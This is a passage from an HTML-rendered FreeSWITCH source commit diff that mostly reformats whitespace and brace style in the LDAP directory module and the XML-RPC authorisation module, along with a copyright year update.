-                    attr_list-&gt;type = LDAP_EXTEN_VM_PASSWORD;
-                    attr_list-&gt;len = strlen(m);
-                    attr_list-&gt;val = strdup(m);
-                    attr_list-&gt;next = malloc(sizeof(*attr_list));
-                    attr_list-&gt;next = memset(attr_list-&gt;next,0,sizeof(*attr_list));
-                    attr_list = attr_list-&gt;next;
-                } else if ( !strncasecmp(&quot;email-addr&quot;,n,strlen(n))) {
-                    attr_list-&gt;type = LDAP_EXTEN_VM_EMAILADDR;
-                    attr_list-&gt;len = strlen(m);
-                    attr_list-&gt;val = strdup(m);
-                    attr_list-&gt;next = malloc(sizeof(*attr_list));
-                    attr_list-&gt;next = memset(attr_list-&gt;next,0,sizeof(*attr_list));
-                    attr_list = attr_list-&gt;next;
-                } else if ( !strncasecmp(&quot;vm-email-all-messages&quot;,n,strlen(n))) {
-                    attr_list-&gt;type = LDAP_EXTEN_VM_EMAILMSG;
-                    attr_list-&gt;len = strlen(m);
-                    attr_list-&gt;val = strdup(m);
-                    attr_list-&gt;next = malloc(sizeof(*attr_list));
-                    attr_list-&gt;next = memset(attr_list-&gt;next,0,sizeof(*attr_list));
-                    attr_list = attr_list-&gt;next;
-                } else if ( !strncasecmp(&quot;vm-delete-file&quot;,n,strlen(n))) {
-                    attr_list-&gt;type = LDAP_EXTEN_VM_DELETE;
-                    attr_list-&gt;len = strlen(m);
-                    attr_list-&gt;val = strdup(m);
-                    attr_list-&gt;next = malloc(sizeof(*attr_list));
-                    attr_list-&gt;next = memset(attr_list-&gt;next,0,sizeof(*attr_list));
-                    attr_list = attr_list-&gt;next;
-                } else if ( !strncasecmp(&quot;vm-attach-file&quot;,n,strlen(n))) {
-                    attr_list-&gt;type = LDAP_EXTEN_VM_ATTACHAUDIO;
-                    attr_list-&gt;len = strlen(m);
-                    attr_list-&gt;val = strdup(m);
-                    attr_list-&gt;next = malloc(sizeof(*attr_list));
-                    attr_list-&gt;next = memset(attr_list-&gt;next,0,sizeof(*attr_list));
-                    attr_list = attr_list-&gt;next;
</del><ins>+                                } else if (!strncasecmp(&quot;mailbox&quot;, n, strlen(n))) {
+                                        attr_list-&gt;type = LDAP_EXTEN_VM_MAILBOX;
+                                        attr_list-&gt;len = strlen(m);
+                                        attr_list-&gt;val = strdup(m);
+                                        attr_list-&gt;next = malloc(sizeof(*attr_list));
+                                        attr_list-&gt;next = memset(attr_list-&gt;next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list-&gt;next;
+                                } else if (!strncasecmp(&quot;password&quot;, n, strlen(n))) {
+                                        attr_list-&gt;type = LDAP_EXTEN_PASSWORD;
+                                        attr_list-&gt;len = strlen(m);
+                                        attr_list-&gt;val = strdup(m);
+                                        attr_list-&gt;next = malloc(sizeof(*attr_list));
+                                        attr_list-&gt;next = memset(attr_list-&gt;next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list-&gt;next;
+                                } else if (!strncasecmp(&quot;vm-password&quot;, n, strlen(n))) {
+                                        attr_list-&gt;type = LDAP_EXTEN_VM_PASSWORD;
+                                        attr_list-&gt;len = strlen(m);
+                                        attr_list-&gt;val = strdup(m);
+                                        attr_list-&gt;next = malloc(sizeof(*attr_list));
+                                        attr_list-&gt;next = memset(attr_list-&gt;next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list-&gt;next;
+                                } else if (!strncasecmp(&quot;email-addr&quot;, n, strlen(n))) {
+                                        attr_list-&gt;type = LDAP_EXTEN_VM_EMAILADDR;
+                                        attr_list-&gt;len = strlen(m);
+                                        attr_list-&gt;val = strdup(m);
+                                        attr_list-&gt;next = malloc(sizeof(*attr_list));
+                                        attr_list-&gt;next = memset(attr_list-&gt;next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list-&gt;next;
+                                } else if (!strncasecmp(&quot;vm-email-all-messages&quot;, n, strlen(n))) {
+                                        attr_list-&gt;type = LDAP_EXTEN_VM_EMAILMSG;
+                                        attr_list-&gt;len = strlen(m);
+                                        attr_list-&gt;val = strdup(m);
+                                        attr_list-&gt;next = malloc(sizeof(*attr_list));
+                                        attr_list-&gt;next = memset(attr_list-&gt;next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list-&gt;next;
+                                } else if (!strncasecmp(&quot;vm-delete-file&quot;, n, strlen(n))) {
+                                        attr_list-&gt;type = LDAP_EXTEN_VM_DELETE;
+                                        attr_list-&gt;len = strlen(m);
+                                        attr_list-&gt;val = strdup(m);
+                                        attr_list-&gt;next = malloc(sizeof(*attr_list));
+                                        attr_list-&gt;next = memset(attr_list-&gt;next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list-&gt;next;
+                                } else if (!strncasecmp(&quot;vm-attach-file&quot;, n, strlen(n))) {
+                                        attr_list-&gt;type = LDAP_EXTEN_VM_ATTACHAUDIO;
+                                        attr_list-&gt;len = strlen(m);
+                                        attr_list-&gt;val = strdup(m);
+                                        attr_list-&gt;next = malloc(sizeof(*attr_list));
+                                        attr_list-&gt;next = memset(attr_list-&gt;next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list-&gt;next;
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                         }
</span><span class="lines">@@ -250,8 +251,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                 if (!binding-&gt;basedn || !binding-&gt;filter || !binding-&gt;url) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
-                                                          &quot;You must define \&quot;basedn\&quot;, and \&quot;filter\&quot; in mod_xml_ldap.conf.xml\n&quot;);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;You must define \&quot;basedn\&quot;, and \&quot;filter\&quot; in mod_xml_ldap.conf.xml\n&quot;);
</ins><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -271,26 +271,29 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t trydir(switch_xml_t *pxml, int *xoff, LDAP *ld, char *dir_domain, char *dir_exten, xml_binding_t *binding) {
</del><ins>+static switch_status_t trydir(switch_xml_t *pxml, int *xoff, LDAP * ld, char *dir_domain, char *dir_exten, xml_binding_t *binding)
+{
</ins><span class="cx">         switch_status_t ret = SWITCH_STATUS_FALSE;
</span><span class="cx">         int off = *xoff;
</span><del>-    char *key = NULL;
</del><ins>+        char *key = NULL;
</ins><span class="cx">         char *basedn = NULL, *filter = NULL;
</span><del>-    char **val = NULL;
-    BerElement *ber = NULL;
-    switch_xml_t xml = *pxml, params = NULL, vars = NULL, cur = NULL;
-    LDAPMessage *msg, *entry;
-        static char *fsattr[] = { &quot;id&quot; , &quot;mailbox&quot;, &quot;password&quot;, &quot;vm-password&quot;, &quot;email-addr&quot;, &quot;vm-email-all-messages&quot;, &quot;vm-delete-file&quot;, &quot;vm-attach-file&quot;, NULL };
</del><ins>+        char **val = NULL;
+        BerElement *ber = NULL;
+        switch_xml_t xml = *pxml, params = NULL, vars = NULL, cur = NULL;
+        LDAPMessage *msg, *entry;
+        static char *fsattr[] =
+                { &quot;id&quot;, &quot;mailbox&quot;, &quot;password&quot;, &quot;vm-password&quot;, &quot;email-addr&quot;, &quot;vm-email-all-messages&quot;, &quot;vm-delete-file&quot;, &quot;vm-attach-file&quot;, NULL };
</ins><span class="cx"> 
</span><del>-        basedn = switch_mprintf(binding-&gt;basedn,dir_domain);
-        filter = switch_mprintf(binding-&gt;filter,dir_exten);
</del><ins>+        basedn = switch_mprintf(binding-&gt;basedn, dir_domain);
+        filter = switch_mprintf(binding-&gt;filter, dir_exten);
</ins><span class="cx">         xml_ldap_attribute_t *attr = NULL;
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;searching in basedn %s with filter %s\n&quot;,basedn,filter );
-        
-        if ( (ldap_search_s(ld, basedn,  LDAP_SCOPE_SUB, filter, NULL, 0, &amp;msg) != LDAP_SUCCESS) ) goto cleanup;
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;searching in basedn %s with filter %s\n&quot;, basedn, filter);
</ins><span class="cx"> 
</span><del>-        if ( ldap_count_entries(ld, msg) &gt; 0 ) {
</del><ins>+        if ((ldap_search_s(ld, basedn, LDAP_SCOPE_SUB, filter, NULL, 0, &amp;msg) != LDAP_SUCCESS))
+                goto cleanup;
+
+        if (ldap_count_entries(ld, msg) &gt; 0) {
</ins><span class="cx">                 ret = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 xml = switch_xml_add_child_d(xml, &quot;section&quot;, off++);
</span><span class="cx">                 switch_xml_set_attr_d(xml, &quot;name&quot;, &quot;directory&quot;);
</span><span class="lines">@@ -304,31 +307,25 @@
</span><span class="cx">                 params = switch_xml_add_child_d(xml, &quot;params&quot;, off++);
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        for (
-            entry = ldap_first_entry(ld, msg);
-            entry != NULL;
-            entry = ldap_next_entry(ld, entry) ) {
</del><ins>+                for (entry = ldap_first_entry(ld, msg); entry != NULL; entry = ldap_next_entry(ld, entry)) {
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-            for (
-                key = ldap_first_attribute(ld, entry, &amp;ber);
-                key != NULL;
-                key = ldap_next_attribute(ld, entry, ber) ) {
</del><ins>+                        for (key = ldap_first_attribute(ld, entry, &amp;ber); key != NULL; key = ldap_next_attribute(ld, entry, ber)) {
</ins><span class="cx"> 
</span><del>-                                for( attr = binding-&gt;attr_list; attr ; attr = attr-&gt;next ) {
-                                        if ( strlen(key) == attr-&gt;len ) {
-                                                if ( !strncasecmp(attr-&gt;val,key,strlen(key)) ) {
-                                                        val = ldap_get_values(ld,entry,key);
-                                                        if ( ldap_count_values(val) == 1 ) {
</del><ins>+                                for (attr = binding-&gt;attr_list; attr; attr = attr-&gt;next) {
+                                        if (strlen(key) == attr-&gt;len) {
+                                                if (!strncasecmp(attr-&gt;val, key, strlen(key))) {
+                                                        val = ldap_get_values(ld, entry, key);
+                                                        if (ldap_count_values(val) == 1) {
</ins><span class="cx">                                                                 if (attr-&gt;type &lt; 2) {
</span><span class="cx">                                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;setting %s = %s &quot;, fsattr[attr-&gt;type], val[0]);
</span><del>-                                                                        switch_xml_set_attr_d(xml,fsattr[attr-&gt;type],val[0]);
-                                                                } else if ( attr-&gt;type &lt; 8 ) {
-                                                                        cur = switch_xml_add_child_d(params,&quot;param&quot;,0);
-                                                                        switch_xml_set_attr_d(cur,fsattr[attr-&gt;type],val[0]);
</del><ins>+                                                                        switch_xml_set_attr_d(xml, fsattr[attr-&gt;type], val[0]);
+                                                                } else if (attr-&gt;type &lt; 8) {
+                                                                        cur = switch_xml_add_child_d(params, &quot;param&quot;, 0);
+                                                                        switch_xml_set_attr_d(cur, fsattr[attr-&gt;type], val[0]);
</ins><span class="cx">                                                                 } else {
</span><del>-                                                                        cur = switch_xml_add_child_d(vars,&quot;variable&quot;,0);
-                                                                        switch_xml_set_attr_d(cur,fsattr[attr-&gt;type],val[0]);
</del><ins>+                                                                        cur = switch_xml_add_child_d(vars, &quot;variable&quot;, 0);
+                                                                        switch_xml_set_attr_d(cur, fsattr[attr-&gt;type], val[0]);
</ins><span class="cx">                                                                 }
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 /* multi val attrs */
</span><span class="lines">@@ -339,29 +336,30 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                                 ldap_memfree(key);
</span><del>-            }
-            ber_free(ber,0);
-        }
</del><ins>+                        }
+                        ber_free(ber, 0);
+                }
</ins><span class="cx"> 
</span><del>-        ldap_msgfree(entry);
-        ldap_msgfree(msg);
-    } else {
-        ret = SWITCH_STATUS_FALSE;
-    }
</del><ins>+                ldap_msgfree(entry);
+                ldap_msgfree(msg);
+        } else {
+                ret = SWITCH_STATUS_FALSE;
+        }
</ins><span class="cx"> 
</span><del>-    cleanup:
-    switch_safe_free(filter);
</del><ins>+  cleanup:
+        switch_safe_free(filter);
</ins><span class="cx">         switch_safe_free(basedn)
</span><del>-        switch_safe_free(dir_exten);
</del><ins>+                switch_safe_free(dir_exten);
</ins><span class="cx">         switch_safe_free(dir_domain);
</span><span class="cx"> 
</span><del>-    return ret;
</del><ins>+        return ret;
</ins><span class="cx"> }
</span><del>-                
</del><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static switch_status_t trysearch ( switch_xml_t *pxml, int *xoff, LDAP *ld, char *basedn, char *filter) {
</del><ins>+
+static switch_status_t trysearch(switch_xml_t *pxml, int *xoff, LDAP * ld, char *basedn, char *filter)
+{
</ins><span class="cx">         switch_status_t ret;
</span><span class="cx">         int off = *xoff;
</span><span class="cx">         char *key = NULL;
</span><span class="lines">@@ -373,43 +371,38 @@
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;trying search in base %s with filter %s\n&quot;, basedn, filter);
</span><span class="cx"> 
</span><del>-        if ( (ldap_search_s(ld, basedn,  LDAP_SCOPE_ONE, filter, NULL, 0, &amp;msg) != LDAP_SUCCESS) ) goto cleanup;
</del><ins>+        if ((ldap_search_s(ld, basedn, LDAP_SCOPE_ONE, filter, NULL, 0, &amp;msg) != LDAP_SUCCESS))
+                goto cleanup;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-        if ( ldap_count_entries(ld, msg) &gt; 0 ) {
</del><ins>+        if (ldap_count_entries(ld, msg) &gt; 0) {
</ins><span class="cx">                 ret = SWITCH_STATUS_SUCCESS;
</span><del>-                for ( 
-                        entry = ldap_first_entry(ld, msg); 
-                        entry != NULL; 
-                        entry = ldap_next_entry(ld, entry) ) {
</del><ins>+                for (entry = ldap_first_entry(ld, msg); entry != NULL; entry = ldap_next_entry(ld, entry)) {
</ins><span class="cx"> 
</span><del>-                        val = ldap_get_values(ld,entry,&quot;fstag&quot; );
</del><ins>+                        val = ldap_get_values(ld, entry, &quot;fstag&quot;);
</ins><span class="cx">                         xml = switch_xml_add_child_d(xml, val[0], off);
</span><span class="cx">                         ldap_value_free(val);
</span><span class="cx"> 
</span><del>-                        for (
-                                key = ldap_first_attribute(ld, entry, &amp;ber);
-                                key != NULL;
-                                key = ldap_next_attribute(ld, entry, ber) ) {
</del><ins>+                        for (key = ldap_first_attribute(ld, entry, &amp;ber); key != NULL; key = ldap_next_attribute(ld, entry, ber)) {
</ins><span class="cx"> 
</span><del>-                                if ( !strncasecmp(key,&quot;fstag&quot;,strlen(key)) || !strncasecmp(key,&quot;objectclass&quot;,strlen(key)) ) {
</del><ins>+                                if (!strncasecmp(key, &quot;fstag&quot;, strlen(key)) || !strncasecmp(key, &quot;objectclass&quot;, strlen(key))) {
</ins><span class="cx">                                         ldap_memfree(key);
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                val = ldap_get_values(ld,entry,key);
</del><ins>+                                val = ldap_get_values(ld, entry, key);
</ins><span class="cx">                                 switch_xml_set_attr_d(xml, key, val[0]);
</span><span class="cx"> 
</span><span class="cx">                                 ldap_memfree(key);
</span><span class="cx">                                 ldap_value_free(val);
</span><span class="cx"> 
</span><span class="cx">                         }
</span><del>-                        ber_free(ber,0);
</del><ins>+                        ber_free(ber, 0);
</ins><span class="cx"> 
</span><del>-                        dn = ldap_get_dn(ld,entry);
-                    rec(&amp;xml,&amp;off,ld,dn);
</del><ins>+                        dn = ldap_get_dn(ld, entry);
+                        rec(&amp;xml, &amp;off, ld, dn);
</ins><span class="cx"> 
</span><del>-                        *xoff=1;
</del><ins>+                        *xoff = 1;
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 ldap_msgfree(entry);
</span><span class="lines">@@ -418,19 +411,20 @@
</span><span class="cx">                 ret = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        cleanup:
</del><ins>+  cleanup:
</ins><span class="cx">         switch_safe_free(basedn);
</span><span class="cx">         switch_safe_free(filter);
</span><span class="cx">         switch_safe_free(key);
</span><span class="cx"> 
</span><span class="cx">         return ret;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-void rec( switch_xml_t *pxml, int *xoff, LDAP *ld, char *dn) {
</del><ins>+void rec(switch_xml_t *pxml, int *xoff, LDAP * ld, char *dn)
+{
</ins><span class="cx">         int off = *xoff;
</span><span class="cx">         char *key;
</span><span class="cx">         char **val;
</span><span class="lines">@@ -443,34 +437,28 @@
</span><span class="cx">         ldap_search_s(ld, dn, LDAP_SCOPE_ONE, NULL, NULL, 0, &amp;msg);
</span><span class="cx">         switch_safe_free(dn);
</span><span class="cx"> 
</span><del>-        if ( ldap_count_entries(ld, msg) &gt; 0 ) {
</del><ins>+        if (ldap_count_entries(ld, msg) &gt; 0) {
</ins><span class="cx"> 
</span><del>-                for ( 
-                        entry = ldap_first_entry(ld, msg);
-                        entry != NULL;
-                        entry = ldap_next_entry(ld, entry) ) {
</del><ins>+                for (entry = ldap_first_entry(ld, msg); entry != NULL; entry = ldap_next_entry(ld, entry)) {
</ins><span class="cx"> 
</span><del>-                        val = ldap_get_values(ld,entry,&quot;fstag&quot; );
-                        new  = switch_xml_add_child_d(xml, val[0], off);
</del><ins>+                        val = ldap_get_values(ld, entry, &quot;fstag&quot;);
+                        new = switch_xml_add_child_d(xml, val[0], off);
</ins><span class="cx">                         ldap_value_free(val);
</span><span class="cx"> 
</span><del>-                        for (
-                                key = ldap_first_attribute(ld, entry,&amp;ber);
-                                key != NULL;
-                                key = ldap_next_attribute(ld,entry,ber) ) {
</del><ins>+                        for (key = ldap_first_attribute(ld, entry, &amp;ber); key != NULL; key = ldap_next_attribute(ld, entry, ber)) {
</ins><span class="cx"> 
</span><del>-                                if ( !strncasecmp(&quot;fstag&quot;,key,5) || !strncasecmp(&quot;objectclass&quot;,key,10) ) {
</del><ins>+                                if (!strncasecmp(&quot;fstag&quot;, key, 5) || !strncasecmp(&quot;objectclass&quot;, key, 10)) {
</ins><span class="cx">                                         ldap_memfree(key);
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                val = ldap_get_values(ld,entry,key);
-                switch_xml_set_attr_d(new, key, val[0]);
</del><ins>+                                val = ldap_get_values(ld, entry, key);
+                                switch_xml_set_attr_d(new, key, val[0]);
</ins><span class="cx">                                 ldap_memfree(key);
</span><span class="cx">                                 ldap_value_free(val);
</span><span class="cx">                         }
</span><del>-                        ber_free(ber,0);
-                        rec( &amp;new, xoff , ld, ldap_get_dn(ld,entry) );
</del><ins>+                        ber_free(ber, 0);
+                        rec(&amp;new, xoff, ld, ldap_get_dn(ld, entry));
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 ldap_msgfree(entry);
</span><span class="lines">@@ -481,7 +469,8 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_t xml_ldap_search(const char *section, const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
</span><del>-                                                                        void *user_data) {
</del><ins>+                                                                        void *user_data)
+{
</ins><span class="cx"> 
</span><span class="cx">         xml_binding_t *binding = (xml_binding_t *) user_data;
</span><span class="cx">         switch_event_header_t *hi;
</span><span class="lines">@@ -492,8 +481,8 @@
</span><span class="cx"> 
</span><span class="cx">         char *basedn = NULL, *filter = NULL;
</span><span class="cx">         char *dir_domain = NULL, *dir_exten = NULL;
</span><del>-        
-        char *buf;        
</del><ins>+
+        char *buf;
</ins><span class="cx">         buf = malloc(4096);
</span><span class="cx"> 
</span><span class="cx">         LDAP *ld;
</span><span class="lines">@@ -501,8 +490,8 @@
</span><span class="cx"> 
</span><span class="cx">         int xoff = 0;
</span><span class="cx"> 
</span><del>-    xml = switch_xml_new(&quot;document&quot;);
-    switch_xml_set_attr_d(xml, &quot;type&quot;, &quot;freeswitch/xml&quot;);
</del><ins>+        xml = switch_xml_new(&quot;document&quot;);
+        switch_xml_set_attr_d(xml, &quot;type&quot;, &quot;freeswitch/xml&quot;);
</ins><span class="cx"> 
</span><span class="cx">         if (params) {
</span><span class="cx">                 if ((hi = params-&gt;headers)) {
</span><span class="lines">@@ -512,7 +501,7 @@
</span><span class="cx">                                         break;
</span><span class="cx"> 
</span><span class="cx">                                 case XML_LDAP_DIRECTORY:
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG,SWITCH_LOG_ERROR, &quot;from cb got %s=%s\n&quot;, hi-&gt;name, hi-&gt;value);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;from cb got %s=%s\n&quot;, hi-&gt;name, hi-&gt;value);
</ins><span class="cx">                                         if (!strncmp(hi-&gt;name, &quot;user&quot;, strlen(hi-&gt;name))) {
</span><span class="cx">                                                 dir_exten = strdup(hi-&gt;value);
</span><span class="cx">                                         } else if (!strncmp(hi-&gt;name, &quot;domain&quot;, strlen(hi-&gt;name))) {
</span><span class="lines">@@ -530,45 +519,47 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-    if ( (ldap_initialize(&amp;ld,binding-&gt;url)) != LDAP_SUCCESS ) goto cleanup;
-    if ( (ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &amp;desired_version)) != LDAP_SUCCESS ) goto cleanup;
-    if ( (ldap_bind_s(ld, binding-&gt;binddn, binding-&gt;bindpass, auth_method)) != LDAP_SUCCESS ) goto cleanup;
</del><ins>+        if ((ldap_initialize(&amp;ld, binding-&gt;url)) != LDAP_SUCCESS)
+                goto cleanup;
+        if ((ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &amp;desired_version)) != LDAP_SUCCESS)
+                goto cleanup;
+        if ((ldap_bind_s(ld, binding-&gt;binddn, binding-&gt;bindpass, auth_method)) != LDAP_SUCCESS)
+                goto cleanup;
</ins><span class="cx"> 
</span><span class="cx">         switch (binding-&gt;bt) {
</span><del>-                case XML_LDAP_CONFIG:
-                        xml = switch_xml_add_child_d(xml, &quot;section&quot;, xoff++);
-                        switch_xml_set_attr_d(xml, &quot;name&quot;, &quot;configuration&quot;);
-                        filter = switch_mprintf(binding-&gt;filter,key_name,key_value);
-                        basedn = switch_mprintf(binding-&gt;basedn,tag_name);
-                        ret = trysearch(&amp;xml,&amp;xoff,ld, basedn, filter);
-                        break;
</del><ins>+        case XML_LDAP_CONFIG:
+                xml = switch_xml_add_child_d(xml, &quot;section&quot;, xoff++);
+                switch_xml_set_attr_d(xml, &quot;name&quot;, &quot;configuration&quot;);
+                filter = switch_mprintf(binding-&gt;filter, key_name, key_value);
+                basedn = switch_mprintf(binding-&gt;basedn, tag_name);
+                ret = trysearch(&amp;xml, &amp;xoff, ld, basedn, filter);
+                break;
</ins><span class="cx"> 
</span><del>-                case XML_LDAP_DIRECTORY:
-                        ret = trydir(&amp;xml,&amp;xoff,ld,dir_domain,dir_exten, binding);
-                        break;
</del><ins>+        case XML_LDAP_DIRECTORY:
+                ret = trydir(&amp;xml, &amp;xoff, ld, dir_domain, dir_exten, binding);
+                break;
</ins><span class="cx"> 
</span><del>-                case XML_LDAP_DIALPLAN:
-                        break;
</del><ins>+        case XML_LDAP_DIALPLAN:
+                break;
</ins><span class="cx"> 
</span><del>-                case XML_LDAP_PHRASE:
-                        break;
</del><ins>+        case XML_LDAP_PHRASE:
+                break;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        cleanup:
</del><ins>+  cleanup:
</ins><span class="cx">         ldap_unbind_s(ld);
</span><span class="cx"> 
</span><del>-    switch_xml_toxml_buf(xml,buf,0,0,1);
-    printf(&quot;providing:\n%s\n&quot;, buf);
</del><ins>+        switch_xml_toxml_buf(xml, buf, 0, 0, 1);
+        printf(&quot;providing:\n%s\n&quot;, buf);
</ins><span class="cx">         switch_safe_free(buf);
</span><span class="cx"> 
</span><span class="cx">         if (ret != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return xml;
</span><span class="cx"> }
</span><del>-
</del></span></pre></div>
<a id="freeswitchtrunksrcmodxml_intmod_xml_rpcmod_xml_rpcc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -161,9 +161,8 @@
</span><span class="cx">         return ret ? SWITCH_STATUS_FALSE : SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static abyss_bool user_attributes (const char *user, const char *domain_name,
-                                   const char **ppasswd, const char **pvm_passwd,
-                                   const char **palias, const char **pallowed_commands)
</del><ins>+static abyss_bool user_attributes(const char *user, const char *domain_name,
+                                                                  const char **ppasswd, const char **pvm_passwd, const char **palias, const char **pallowed_commands)
</ins><span class="cx"> {
</span><span class="cx">         const char *passwd;
</span><span class="cx">         const char *vm_passwd;
</span><span class="lines">@@ -183,7 +182,7 @@
</span><span class="cx">         switch_event_create(&amp;params, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">         switch_assert(params);
</span><span class="cx">         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;number_alias&quot;, &quot;check&quot;);
</span><del>-                                
</del><ins>+
</ins><span class="cx">         if (switch_xml_locate_user(&quot;id&quot;, user, domain_name, NULL, &amp;x_domain_root, &amp;x_domain, &amp;x_user, NULL, params) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_event_destroy(&amp;params);
</span><span class="cx">                 if (x_domain_root) {
</span><span class="lines">@@ -196,11 +195,11 @@
</span><span class="cx">         alias = switch_xml_attr(x_user, &quot;number-alias&quot;);
</span><span class="cx"> 
</span><span class="cx">         if ((x_params = switch_xml_child(x_domain, &quot;params&quot;))) {
</span><del>-        
</del><ins>+
</ins><span class="cx">                 for (x_param = switch_xml_child(x_params, &quot;param&quot;); x_param; x_param = x_param-&gt;next) {
</span><span class="cx">                         const char *var = switch_xml_attr_soft(x_param, &quot;name&quot;);
</span><span class="cx">                         const char *val = switch_xml_attr_soft(x_param, &quot;value&quot;);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(var, &quot;password&quot;)) {
</span><span class="cx">                                 passwd = val;
</span><span class="cx">                         } else if (!strcasecmp(var, &quot;vm-password&quot;)) {
</span><span class="lines">@@ -216,7 +215,7 @@
</span><span class="cx">                 for (x_param = switch_xml_child(x_params, &quot;param&quot;); x_param; x_param = x_param-&gt;next) {
</span><span class="cx">                         const char *var = switch_xml_attr_soft(x_param, &quot;name&quot;);
</span><span class="cx">                         const char *val = switch_xml_attr_soft(x_param, &quot;value&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(var, &quot;password&quot;)) {
</span><span class="cx">                                 passwd = val;
</span><span class="cx">                         } else if (!strcasecmp(var, &quot;vm-password&quot;)) {
</span><span class="lines">@@ -235,8 +234,8 @@
</span><span class="cx">                 *palias = strdup(alias);
</span><span class="cx">         if (pallowed_commands)
</span><span class="cx">                 *pallowed_commands = strdup(allowed_commands);
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (x_domain_root) {
</span><span class="cx">                 switch_xml_free(x_domain_root);
</span><span class="cx">         }
</span><span class="lines">@@ -244,7 +243,7 @@
</span><span class="cx">         return TRUE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static abyss_bool is_authorized (const TSession *r, const char *command)
</del><ins>+static abyss_bool is_authorized(const TSession * r, const char *command)
</ins><span class="cx"> {
</span><span class="cx">         char *user = NULL, *domain_name = NULL;
</span><span class="cx">         char *allowed_commands;
</span><span class="lines">@@ -263,7 +262,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!r-&gt;requestInfo.user) {
</span><del>-                return FALSE;        
</del><ins>+                return FALSE;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         user = strdup(r-&gt;requestInfo.user);
</span><span class="lines">@@ -277,14 +276,14 @@
</span><span class="cx">                 switch_safe_free(user);
</span><span class="cx">                 return TRUE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(user) || zstr(domain_name)) {
</span><span class="cx">                 switch_safe_free(user);
</span><span class="cx">                 return FALSE;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><del>-        if (!user_attributes (user, domain_name, NULL, NULL, NULL, &amp;allowed_commands)) {
